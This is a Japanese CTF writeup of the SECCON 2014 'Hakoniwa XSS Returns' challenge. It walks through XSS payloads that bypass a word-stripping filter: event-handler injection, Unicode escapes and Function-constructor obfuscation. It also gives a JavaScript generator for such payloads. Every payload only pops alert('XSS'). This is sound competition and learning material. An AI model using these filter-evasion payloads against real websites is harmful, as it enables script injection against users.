SECCON 2014 オンライン予選「箱庭XSSリターンズ」Writeup

SECCON 2014 オンライン予選にチーム 0x0 として参加しました。以下 Web300 の箱庭 XSS リターンズの Writeup です。
試行錯誤した時間のほうが長かったので、そちらの手順も載せておきます。

問題

次のようなアプリが配布されます。

f:id:nash716:20140719212132p:plain

テキストボックスに入力して submit すると、input[type=text] に入力した値が入ったものが出力されます。
(ほぼ)何もエスケープされずに出力される、典型的な XSS パターンです。

解き方

ダメだった方法1

まずは定石通り、

"><script>alert('XSS')</script>

と入力しました。普通に alert が表示され、Stage 2 に進むことができました。
Stage 2 では、入力された値から script, alert, XSS が strip されると書いてあったので、

"/onmouseover="window['aler'+'t']('XS'+'S')">

と入力し、こちらも無事成功して Stage 3 へ進めました。
Stage 3 では、入力された値から script, alert, XSS, window, aler, t, XS, S が strip されるそうです。

お気づきでしょうか、XSS に成功しても input_value.match(/[0-9a-zA-Z]+/) が次のステージから strip されるようです。
プログレスバーを見るにステージは 20 以上ありそうだったので、このまま頑張る方式では最終的には使える文字がなくなってしまいそうです。
ということで、別の手段を探しました。

ダメだった方法2

試行錯誤してるうちに Unicode エスケープシーケンスが使えることを思い出したので、

"/onmousemove="window['\u0061lert']('\u0058SS')

としました。こうすると次回から strip されるのは onmouseover, window, u0061lert, u0058SS となり、だいぶ余裕ができます。
しばらくエスケープシーケンスに置き換える場所を変えたりしてゴリ押していましたが、こちらも結局 Stage 6 あたりで苦しくなりやめました。

行けた方法

次に、(0x0).constructor.construtor で Function が取れることを思い出したので、こちらをごにょごにょする方法を考えました。

また試行錯誤していると、@superbacker さんから、次のコードが動かないとメッセージが飛んできました。

"/onkeydown="(99995)['\u0063onstructor']['\u0063onstructor']('BBBBBBBBBBBBBBBBBBBa'[19]+'BBBBBBBBBBBBBBBBBBBl'[19]+'BBBBBBBBBBBBBBBBBBBe'[19]+'BBBBBBBBBBBBBBBBBBBr'[19]+'BBBBBBBBBBBBBBBBBBBt'[19]+'BBBBBBBBBBBBBBBBBBB('[19]+'BBBBBBBBBBBBBBBBBBB\''[19]+'BBBBBBBBBBBBBBBBBBBX'[19]+'BBBBBBBBBBBBBBBBBBBS'[19]+'BBBBBBBBBBBBBBBBBBBS'[19]+'BBBBBBBBBBBBBBBBBBB\''[19]+'BBBBBBBBBBBBBBBBBBB)'[19])()

確かに箱庭の WebControl ではなく IE で実行すると動きます。

f:id:nash716:20140719212236p:plain

これを動かすことができれば、次回から strip されるのは BBBBBBBBBBBBBBBBBBBa とか 19 とか 99995 とかで、どうでもいい上にいくらでも代わりが効くものばかりで非常に助かります。
そういえば JavaScript

var str = 'AAA';
console.log(str[0]); // 'A'

ってできる(ちゃんとした名前知らない)のは最近だった(気がする)ので、たぶんこのあたりが悪さしてるんだろうと予想しました。
そういえば、Windows アプリに張り付けられる WebControl は IE7 互換で、レジストリいじるとそのバージョンを変えられた記憶があったので調べたところ、ドンピシャでした

IE11 互換の動作をしてもらうために、レジストリに次のエントリを追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION

hakoniwaXSSreturns.exe: (DWORD)0x11001

f:id:nash716:20140719212211p:plain

そして、入力するコードをいちいち人力で生成するのはめんどうくさいので、コードを書きました。

var repeat = 40;
var char = 64;
var num = 10000;

function generate(handlerName) {
    char++; repeat--; num--;

    var ret = '"/' + handlerName + '=\'(' + num + ')';
    var snip1 = 'constructor';
    var constructor = '';

    for (var i = 0; i < snip1.length; i++) {
        var a = '"';

        for (var j = 0; j < repeat; j++) {
            a += String.fromCharCode(char);
        }

        a += snip1[i];
        a += '"[' + repeat + ']';

        constructor += a + '+';
    }

    constructor = constructor.substring(0, constructor.length - 1);

    ret += '[' + constructor + ']';
    ret += '[' + constructor + '](';

    var snip2 = 'alert("XSS")';

    for (var i = 0; i < snip2.length; i++) {
        var a = '"';

        for (var j = 0; j < repeat; j++) {
            a += String.fromCharCode(char);
        }

        if (snip2[i] == '"') a += '\\';
        a += snip2[i];
        a += '"[' + repeat + ']';

        ret += a + '+';
    }

    ret = ret.substring(0, ret.length - 1);
    ret += ')()\'';

    return ret;
}

console.log(generate('onclick'));
console.log(generate('ondblclick'));
console.log(generate('onkeydown'));
console.log(generate('onkeypress'));
console.log(generate('onmousedown'));
console.log(generate('onmouseup'));
console.log(generate('onmouseover'));
console.log(generate('onmouseout'));
console.log(generate('onmousemove'));
console.log(generate('onfocus'));
console.log(generate('onblur'));
console.log(generate('onchange'));
console.log(generate('ondragstart'));
console.log(generate('onselectstart'));
console.log(generate('ondrop'));
console.log(generate('oncontextmenu'));
console.log(generate('ondragend'));
console.log(generate('onpaste'));
console.log(generate('oncopy'));
console.log(generate('onbeforepaste'));
console.log(generate('onbeforecopy'));

出力されたものをひたすらコピペして、イベントハンドラに対応した操作をすればどんどん解けます。
ちなみに最後(Stage 20)だけ \& が追加で strip されたので、今まで温存していた

"><script>alert('XSS')</script>

を華麗に打ち込みおしまいです。お疲れ様でした。

f:id:nash716:20140719212154p:plain

おまけ

f:id:nash716:20140719212449p:plain